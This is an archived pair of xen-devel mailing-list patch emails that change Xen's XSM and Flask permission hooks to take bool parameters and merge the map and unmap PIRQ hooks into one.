 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785245010; x=1785849810; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=uWalkTy0K6dBubCLA5u6FxobY3yZutCgqd3ZaxzhGJc=;
        b=HUnYihVJ3A3HADe6SfY1OVrqXKv614wkHx/eweK0BPyDiafhXhFvbKrdPytMcZELb2
         cwS5tiA9CW3LldU8Wa2tyRW1B3jzxAb5Yw+GqQEiFByjvNsASGcXHXCdjRbn0r8kQuQD
         4W+RfY2l0W5arYCwAOreggVs06Odj7Zp8SkACjwg0QC1v5soSvVwecZykCPDVVBDlRmI
         9X5T7WeK0ipt9utPb/F64Ac/V+1Vf36apu+voUKchyQMGwl61GPFc21f8crZLz0gSAYa
         kakk41zMhldps5WGmW1i3KvVphx1R4sgAXtBAr1LGKDfK3zAqVbH4PO/7TB00QKLb1DK
         kBvw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785245010; x=1785849810;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=uWalkTy0K6dBubCLA5u6FxobY3yZutCgqd3ZaxzhGJc=;
        b=GCdb5Bck4t94wvcHV9L4kto6+fIZWLsmWiDeIy87PLXzFj5oRCEUqA43cIiVL74f0u
         r1UVSGULETjS5+6mmu/5ZObT0yVgbWB312bPiRSoL3jC7NF6MWgQS2a8n0EdJffXCZlB
         7xZiM+fM7fxL/90uQ3fK8K4nhoOPdbS54TChBfCKXFU1aaGIO4pbK4NaVOXkDFTy6a4r
         2XGhwyBiWeRruLa/RvytOB6Il/ASbmCBQZGjRQmhhCCpNxAWHvJmxY3hxWpHjihWJLSx
         qtDrnXvN80pwocgj1C9uKHpC/tCe4dMHDdCMQAqa2SAtj6iW8pc8CaoSEOfGythPp651
         SMyw==
X-Gm-Message-State: AOJu0YxonsjZq1hTFksMPGqJqSA1usW/Vo/7pH5kaaQEF/37XVPxxowt
	VOlJ87ayVE3hRtdpbuR7UjNLRI7eCAn+2deY8HVII4Xf3EjVdfv+Yqdyg8yEGMioiQocHSwkADK
	46xyhmg==
X-Gm-Gg: AR+sD13TSqs0LooMXLAdUAAwQj8pkEGZvEOjaE2gglSgVRk8cuVGh8VV1QAGhJFrkAC
	NfJ0UTAkUrru+yWH7yWclONjGiaq6CqQhvpCOqNxeZ4xxWwGJ5DiiOHKj51vo/D2HN1o8FNP7v/
	tnB9NOu/z7jGl65DXcJco/bxzdxUJPyCCgcbD/Iugz3WCLG7CMBlEhTmYSGLgI9N/tEAR7kRJGt
	BLkfKuDmtfk0Hfk0LlpoMsFLzlIbPbT3zvNw7aoNm3evTL1PruhRBq4N/pyELd+IyjG/v/0jLm+
	BnFJcD3leR46tfY9aScHS3bQv4rTK+kt3os62gEpcefDlWwgofimhBftZH5NEkc2Lu48QC6Tb7d
	aIcjRTtq+6954285I5yjUPM1UA00cZyZf57WLAsBnpHGpdrT+j9FmFDJ3JRoZ5pgbb33ultG3TN
	ORpyf/Kk3HIsHKf/1SSyojydbLsz0ZS7afgsvMnmHglQzpM7oajKAxN88WXnQEgUBatw==
X-Received: by 2002:a05:600c:5298:b0:495:4df2:b8c1 with SMTP id 5b1f17b1804b1-496c659dd06mr25253695e9.35.1785245009342;
        Tue, 28 Jul 2026 06:23:29 -0700 (PDT)
Message-ID: <dc7d05da-ace4-4dc9-ad55-bdb178dfbee0@suse.com>
Date: Tue, 28 Jul 2026 15:23:26 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 19/24] XSM: convert "allow" (Flask: "access") parameters to
 bool
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-16d1c6/1785245010-F540B77B-F487D2A6/0/0
X-purgate-type: clean
X-purgate-size: 9351

These are boolean, so they should always have used bool (originally
bool_t), not uint8_t. Leverage recent changes to arrange for this with
(now) fewer places which need changing (within the XSM machinery itself).
Adjust call sites as well, where the conversion wasn't done so far.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
Why is it that Arm doesn't use xsm_irq_permission() at all? Same for Arm64
vs xsm_pci_config_permission().

--- a/xen/arch/x86/domctl.c
+++ b/xen/arch/x86/domctl.c
@@ -235,7 +235,7 @@ long arch_do_domctl(
     {
         unsigned int fp = domctl->u.ioport_permission.first_port;
         unsigned int np = domctl->u.ioport_permission.nr_ports;
-        int allow = domctl->u.ioport_permission.allow_access;
+        bool allow = domctl->u.ioport_permission.allow_access;
 
         ret = -EINVAL;
         if ( (fp + np) <= fp || (fp + np) > MAX_IOPORTS )
@@ -306,7 +306,8 @@ long arch_do_domctl(
             break;
         }
 
-        ret = xsm_irq_permission(XSM_PRIV, d, irq, flags);
+        ret = xsm_irq_permission(XSM_PRIV, d, irq,
+                                 flags & XEN_DOMCTL_GSI_ACTION_MASK);
         if ( ret )
             break;
 
@@ -687,7 +688,7 @@ long arch_do_domctl(
         unsigned int fgp = domctl->u.ioport_mapping.first_gport;
         unsigned int fmp = domctl->u.ioport_mapping.first_mport;
         unsigned int np = domctl->u.ioport_mapping.nr_ports;
-        unsigned int add = domctl->u.ioport_mapping.add_mapping;
+        bool add = domctl->u.ioport_mapping.add_mapping;
         struct hvm_domain *hvm;
         struct g2m_ioport *g2m_ioport;
         int found = 0;
--- a/xen/arch/x86/pci.c
+++ b/xen/arch/x86/pci.c
@@ -78,7 +78,7 @@ int pci_conf_write_intercept(unsigned in
 {
     struct pci_dev *pdev;
     int rc = xsm_pci_config_permission(XSM_HOOK, current->domain, bdf,
-                                       reg, reg + size - 1, 1);
+                                       reg, reg + size - 1, true);
 
     if ( rc < 0 )
         return rc;
--- a/xen/arch/x86/pv/emul-priv-op.c
+++ b/xen/arch/x86/pv/emul-priv-op.c
@@ -260,7 +260,7 @@ static bool pci_cfg_ok(struct domain *cu
 
     return !write ?
            xsm_pci_config_permission(XSM_HOOK, currd, machine_bdf,
-                                     start, start + size - 1, 0) == 0 :
+                                     start, start + size - 1, false) == 0 :
            pci_conf_write_intercept(0, machine_bdf, start, size, write) >= 0;
 }
 
--- a/xen/include/xsm/dummy.h
+++ b/xen/include/xsm/dummy.h
@@ -505,21 +505,21 @@ static XSM_INLINE int xsm_unmap_domain_i
 }
 
 static XSM_INLINE int xsm_irq_permission(
-    XSM_DEFAULT_ARG struct domain *d, int pirq, uint8_t allow)
+    XSM_DEFAULT_ARG struct domain *d, int pirq, bool allow)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, current->domain, d);
 }
 
 static XSM_INLINE int xsm_iomem_permission(
-    XSM_DEFAULT_ARG struct domain *d, uint64_t s, uint64_t e, uint8_t allow)
+    XSM_DEFAULT_ARG struct domain *d, uint64_t s, uint64_t e, bool allow)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, current->domain, d);
 }
 
 static XSM_INLINE int xsm_iomem_mapping(
-    XSM_DEFAULT_ARG struct domain *d, uint64_t s, uint64_t e, uint8_t allow)
+    XSM_DEFAULT_ARG struct domain *d, uint64_t s, uint64_t e, bool allow)
 {
     XSM_ASSERT_ACTION(XSM_DM_PRIV);
     return xsm_default_action(action, current->domain, d);
@@ -527,7 +527,7 @@ static XSM_INLINE int xsm_iomem_mapping(
 
 #ifdef CONFIG_HAS_VPCI
 static XSM_INLINE int xsm_iomem_mapping_vpci(
-    XSM_DEFAULT_ARG struct domain *d, uint64_t s, uint64_t e, uint8_t allow)
+    XSM_DEFAULT_ARG struct domain *d, uint64_t s, uint64_t e, bool allow)
 {
     XSM_ASSERT_ACTION(XSM_HOOK);
     return xsm_default_action(action, current->domain, d);
@@ -537,7 +537,7 @@ static XSM_INLINE int xsm_iomem_mapping_
 #ifdef CONFIG_HAS_PCI
 static XSM_INLINE int xsm_pci_config_permission(
     XSM_DEFAULT_ARG struct domain *d, uint32_t machine_bdf, uint16_t start,
-    uint16_t end, uint8_t access)
+    uint16_t end, bool access)
 {
     XSM_ASSERT_ACTION(XSM_HOOK);
     return xsm_default_action(action, current->domain, d);
@@ -711,14 +711,14 @@ static XSM_INLINE int xsm_priv_mapping(
 #endif
 
 static XSM_INLINE int xsm_ioport_permission(
-    XSM_DEFAULT_ARG struct domain *d, uint32_t s, uint32_t e, uint8_t allow)
+    XSM_DEFAULT_ARG struct domain *d, uint32_t s, uint32_t e, bool allow)
 {
     XSM_ASSERT_ACTION(XSM_PRIV);
     return xsm_default_action(action, current->domain, d);
 }
 
 static XSM_INLINE int xsm_ioport_mapping(
-    XSM_DEFAULT_ARG struct domain *d, uint32_t s, uint32_t e, uint8_t allow)
+    XSM_DEFAULT_ARG struct domain *d, uint32_t s, uint32_t e, bool allow)
 {
     XSM_ASSERT_ACTION(XSM_DM_PRIV);
     return xsm_default_action(action, current->domain, d);
--- a/xen/include/xsm/hooks.h
+++ b/xen/include/xsm/hooks.h
@@ -77,12 +77,12 @@ XSM_HOOK(int, unmap_domain_irq, struct d
 XSM_HOOK(int, bind_pt_irq, struct domain *, struct xen_domctl_bind_pt_irq *)
 XSM_HOOK(int, unbind_pt_irq, struct domain *, struct xen_domctl_bind_pt_irq *)
 
-XSM_HOOK(int, irq_permission, struct domain *, int, uint8_t)
-XSM_HOOK(int, iomem_permission, struct domain *, uint64_t, uint64_t, uint8_t)
+XSM_HOOK(int, irq_permission, struct domain *, int, bool)
+XSM_HOOK(int, iomem_permission, struct domain *, uint64_t, uint64_t, bool)
 
-XSM_HOOK(int, iomem_mapping, struct domain *, uint64_t, uint64_t, uint8_t)
+XSM_HOOK(int, iomem_mapping, struct domain *, uint64_t, uint64_t, bool)
 #ifdef CONFIG_HAS_VPCI
-XSM_HOOK(int, iomem_mapping_vpci, struct domain *, uint64_t, uint64_t, uint8_t)
+XSM_HOOK(int, iomem_mapping_vpci, struct domain *, uint64_t, uint64_t, bool)
 #endif
 
 #if defined(CONFIG_HAS_PASSTHROUGH) && defined(CONFIG_HAS_PCI)
@@ -97,7 +97,7 @@ XSM_HOOK(int, resource_setup_misc)
 XSM_HOOK(int, resource_setup_pci, uint32_t)
 XSM_HOOK(int, resource_setup_gsi, int)
 XSM_HOOK(int, pci_config_permission, struct domain *, uint32_t, uint16_t,
-                                     uint16_t, uint8_t)
+                                     uint16_t, bool)
 #endif
 
 #ifdef CONFIG_HYPFS
@@ -144,8 +144,8 @@ XSM_HOOK(int, update_va_mapping, struct
 #if defined(CONFIG_PV) || defined(CONFIG_SHADOW_PAGING)
 XSM_HOOK(int, priv_mapping, struct domain *, struct domain *)
 #endif
-XSM_HOOK(int, ioport_permission, struct domain *, uint32_t, uint32_t, uint8_t)
-XSM_HOOK(int, ioport_mapping, struct domain *, uint32_t, uint32_t, uint8_t)
+XSM_HOOK(int, ioport_permission, struct domain *, uint32_t, uint32_t, bool)
+XSM_HOOK(int, ioport_mapping, struct domain *, uint32_t, uint32_t, bool)
 XSM_HOOK(int, pmu_op, struct domain *, unsigned int)
 #endif /* CONFIG_X86 */
 
--- a/xen/xsm/flask/hooks.c
+++ b/xen/xsm/flask/hooks.c
@@ -998,7 +998,7 @@ static int cf_check flask_sysctl(const s
 }
 #endif /* CONFIG_SYSCTL */
 
-static inline uint32_t resource_to_perm(uint8_t access)
+static inline uint32_t resource_to_perm(bool access)
 {
     if ( access )
         return RESOURCE__ADD;
@@ -1166,7 +1166,7 @@ static int cf_check flask_unbind_pt_irq(
 }
 
 static int cf_check flask_irq_permission(
-    struct domain *d, int pirq, uint8_t access)
+    struct domain *d, int pirq, bool access)
 {
     /* the PIRQ number is not useful; real IRQ is checked during mapping */
     return current_has_perm(d, SECCLASS_RESOURCE, resource_to_perm(access));
@@ -1199,7 +1199,7 @@ static int cf_check _iomem_has_perm(
 }
 
 static int cf_check flask_iomem_permission(
-    struct domain *d, uint64_t start, uint64_t end, uint8_t access)
+    struct domain *d, uint64_t start, uint64_t end, bool access)
 {
     struct iomem_has_perm_data data;
     int rc;
@@ -1221,7 +1221,8 @@ static int cf_check flask_iomem_permissi
     return security_iterate_iomem_sids(start, end, _iomem_has_perm, &data);
 }
 
-static int cf_check flask_iomem_mapping(struct domain *d, uint64_t start, uint64_t end, uint8_t access)
+static int cf_check flask_iomem_mapping(
+    struct domain *d, uint64_t start, uint64_t end, bool access)
 {
     return flask_iomem_permission(d, start, end, access);
 }
@@ -1230,7 +1231,7 @@ static int cf_check flask_iomem_mapping(
 #ifdef CONFIG_HAS_PCI
 static int cf_check flask_pci_config_permission(
     struct domain *d, uint32_t machine_bdf, uint16_t start, uint16_t end,
-    uint8_t access)
+    bool access)
 {
     uint32_t dsid, rsid;
     int rc = -EPERM;
@@ -1709,7 +1710,7 @@ static int cf_check _ioport_has_perm(
 }
 
 static int cf_check flask_ioport_permission(
-    struct domain *d, uint32_t start, uint32_t end, uint8_t access)
+    struct domain *d, uint32_t start, uint32_t end, bool access)
 {
     int rc;
     struct ioport_has_perm_data data;
@@ -1733,7 +1734,7 @@ static int cf_check flask_ioport_permiss
 }
 
 static int cf_check flask_ioport_mapping(
-    struct domain *d, uint32_t start, uint32_t end, uint8_t access)
+    struct domain *d, uint32_t start, uint32_t end, bool access)
 {
     return flask_ioport_permission(d, start, end, access);
 }



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:24:04 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:24:04 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374163.1621135 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohmu-00055x-Er; Tue, 28 Jul 2026 13:24:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374163.1621135; Tue, 28 Jul 2026 13:24:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohmu-00055q-C8; Tue, 28 Jul 2026 13:24:04 +0000
Received: by outflank-mailman (input) for mailman id 1374163;
 Tue, 28 Jul 2026 13:24:02 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wohms-00055Y-NH
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:24:02 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohms-00ET9U-43
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:24:02 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ad72-5cb7-0a2a0a5109dd-0a2a45029d7a-0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:24:02 +0200
Received: from [209.85.221.42] (helo=mail-wr1-f42.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ad71-6ca4-0a2a45020019-d155dd2adca8-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:24:02 +0200
Received: by mail-wr1-f42.google.com with SMTP id
 ffacd0b85a97d-47f92e3c14bso3470097f8f.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:24:01 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f96b9abc0sm37655516f8f.32.2026.07.28.06.24.00
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:24:00 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785245041; x=1785849841; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=UbHOO48bxllxTgePghgzdylwCnZvEEGiTmisl0RNAjk=;
        b=V0VJWrEeQzZ8V0lAInWhk61Ys4kaEywpcupcpe02f2QcNmr09hgVnlVojijSUDmkGl
         RwJsw9zX0UquyKh1RFJWqU2PdqTCYen3hdMAQEEbEwt8pQwo/Pg62r4lOfK6wz1k2fQd
         Pa+RK8UQoJG9cDfTwP8lxVY2jRDhdPP0ZNCOrHurANdlqe10QSW0yce2bVjJDPkKEdXw
         7fYpuxeG4Oo5RRhqicwLEzNoa2QLrFAjGqdfxa5jOj/oV1MQz9elxwsbSJ/6uSuqmlnp
         MwBaps3RZ13ak92CumkPNWY6ixCasTNNFato/YMb6WmMG6UlizaUF7VnmkY8OuxVO4WI
         5++w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785245041; x=1785849841;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=UbHOO48bxllxTgePghgzdylwCnZvEEGiTmisl0RNAjk=;
        b=nR64FZM59oRpQYgCQGgDkLviiqUczxu97avEL/edyG2FXNc3Q9m63fyW7nZ0gpvAWl
         k14YWg8U6IF9b2ZlVmK+YhguzTkOEctZxr6rWwaTSF0J6LnlRllF3EaYN+5Meog9x6Ka
         X2ZM8xpn8ul6I6Lsez9fsQcPcUOi059Vu7qxVTvmRxjHxisoJEPdvRB9vPS+gXebjbx7
         BSgVJGqfwtN3YaGyvhgicF6zPzTswon2PCTGKWd1CYwbfBhV+seHKqlC/EGiYFk0TPtt
         msZqBc5E0f2rYodBiUMuI2YsV37xi9kkiOCgGVlryEK8uMRSrgjSrzQAvaa4+HfqJ2B7
         TOxA==
X-Gm-Message-State: AOJu0YyT4yyqmG3k6faIWBnKkkAIKvMeZcGNmSVFzQPCMJ1KwIAbwTOz
	ZE5myf398Hi1n38zQm7I5t2BKimL9bxsctOjTAA9x1CSrArXAHBpA9ri9LZVBb7xFwT7/yIxUb6
	sKm+bNQ==
X-Gm-Gg: AR+sD11ObgxhKS8Ax2jNlv46wHa4i4yL+wwqIRANg8gSYDZUUhF2TiDKJYk66cxr6Km
	TbDL3j0SBSdpDG8ieutJnVO4xxiO9Lu+fEuQ8QBUjicfnpwIelSL4O0zaPOokjtJErMPKBlF4gT
	tib1XVHD2nIEWRZgoSv4MAoZy8Lz5/djy3ZOmBwef2eHK5nYf1JiOzS5pzUeKonxRTowwWdNZ2u
	v8iazOkJQH28YBXPhzHq60hCCg1ThYqI0/qkyBQ/lUPWsPH30OtSWsuPjsbc+rL8DkC0L1dnzh7
	hDAwQDS8mtDBnjyjwAblkGKZNMK8j1X6YbBzXGDbBpbsMyzgKM5TQqoJmy48zrfh6ALzG9W6LE0
	h0PZe5F2XXy0Mc4/CEM5bYz3chzFNOHtlTm8xUBTvngWF+GhlgOoa4PHLBwAFRltROb7bsMCEPd
	TR4afO3pKcmx1vXDllQCBsFz6JoA3ymuhZb181sHLLAkIu7SLjCKtXQ3wtgeudOakglQ==
X-Received: by 2002:a05:6000:2403:b0:47f:9661:6766 with SMTP id ffacd0b85a97d-47fb1ec4d77mr2993788f8f.61.1785245041294;
        Tue, 28 Jul 2026 06:24:01 -0700 (PDT)
Message-ID: <c973c612-153d-413b-a6c8-aeacd25f28a8@suse.com>
Date: Tue, 28 Jul 2026 15:23:59 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 20/24] XSM: fold xsm_{,un}map_domain_pirq() hooks
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjf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-a18e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1785245042-319CB2AC-6E26CAA7/0/0
X-purgate-type: clean
X-purgate-size: 2536

Like other resource management hooks they are different in just "add
resource" vs "remove resource". Hence like in other cases a single hook
can easily serve both purposes.

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/arch/x86/physdev.c
+++ b/xen/arch/x86/physdev.c
@@ -109,7 +109,7 @@ int physdev_map_pirq(struct domain *d, i
         return physdev_hvm_map_pirq(d, type, index, pirq_p);
     }
 
-    ret = xsm_map_domain_pirq(XSM_DM_PRIV, d);
+    ret = xsm_map_domain_pirq(XSM_DM_PRIV, d, true);
     if ( ret )
         return ret;
 
@@ -142,7 +142,7 @@ int physdev_unmap_pirq(struct domain *d,
     int ret = 0;
 
     if ( d != current->domain || !is_hvm_domain(d) || !has_pirq(d) )
-        ret = xsm_unmap_domain_pirq(XSM_DM_PRIV, d);
+        ret = xsm_map_domain_pirq(XSM_DM_PRIV, d, false);
     if ( ret )
         return ret;
 
--- a/xen/include/xsm/dummy.h
+++ b/xen/include/xsm/dummy.h
@@ -461,14 +461,7 @@ static XSM_INLINE char *xsm_show_irq_sid
 #ifdef CONFIG_HAS_PIRQ
 
 static XSM_INLINE int xsm_map_domain_pirq(
-    XSM_DEFAULT_ARG struct domain *d)
-{
-    XSM_ASSERT_ACTION(XSM_DM_PRIV);
-    return xsm_default_action(action, current->domain, d);
-}
-
-static XSM_INLINE int xsm_unmap_domain_pirq(
-    XSM_DEFAULT_ARG struct domain *d)
+    XSM_DEFAULT_ARG struct domain *d, bool allow)
 {
     XSM_ASSERT_ACTION(XSM_DM_PRIV);
     return xsm_default_action(action, current->domain, d);
--- a/xen/include/xsm/hooks.h
+++ b/xen/include/xsm/hooks.h
@@ -68,8 +68,7 @@ XSM_HOOK(int, kexec)
 XSM_HOOK(int, schedop_shutdown, struct domain *, struct domain *)
 
 #ifdef CONFIG_HAS_PIRQ
-XSM_HOOK(int, map_domain_pirq, struct domain *)
-XSM_HOOK(int, unmap_domain_pirq, struct domain *)
+XSM_HOOK(int, map_domain_pirq, struct domain *, bool)
 #endif
 
 XSM_HOOK(int, map_domain_irq, struct domain *, int, const void *)
--- a/xen/xsm/flask/hooks.c
+++ b/xen/xsm/flask/hooks.c
@@ -1022,14 +1022,9 @@ static char *cf_check flask_show_irq_sid
 
 #ifdef CONFIG_HAS_PIRQ
 
-static int cf_check flask_map_domain_pirq(struct domain *d)
+static int cf_check flask_map_domain_pirq(struct domain *d, bool access)
 {
-    return current_has_perm(d, SECCLASS_RESOURCE, RESOURCE__ADD);
-}
-
-static int cf_check flask_unmap_domain_pirq(struct domain *d)
-{
-    return current_has_perm(d, SECCLASS_RESOURCE, RESOURCE__REMOVE);
+    return current_has_perm(d, SECCLASS_RESOURCE, resource_to_perm(access));
 }
 
 #endif /* CONFIG_HAS_PIRQ */



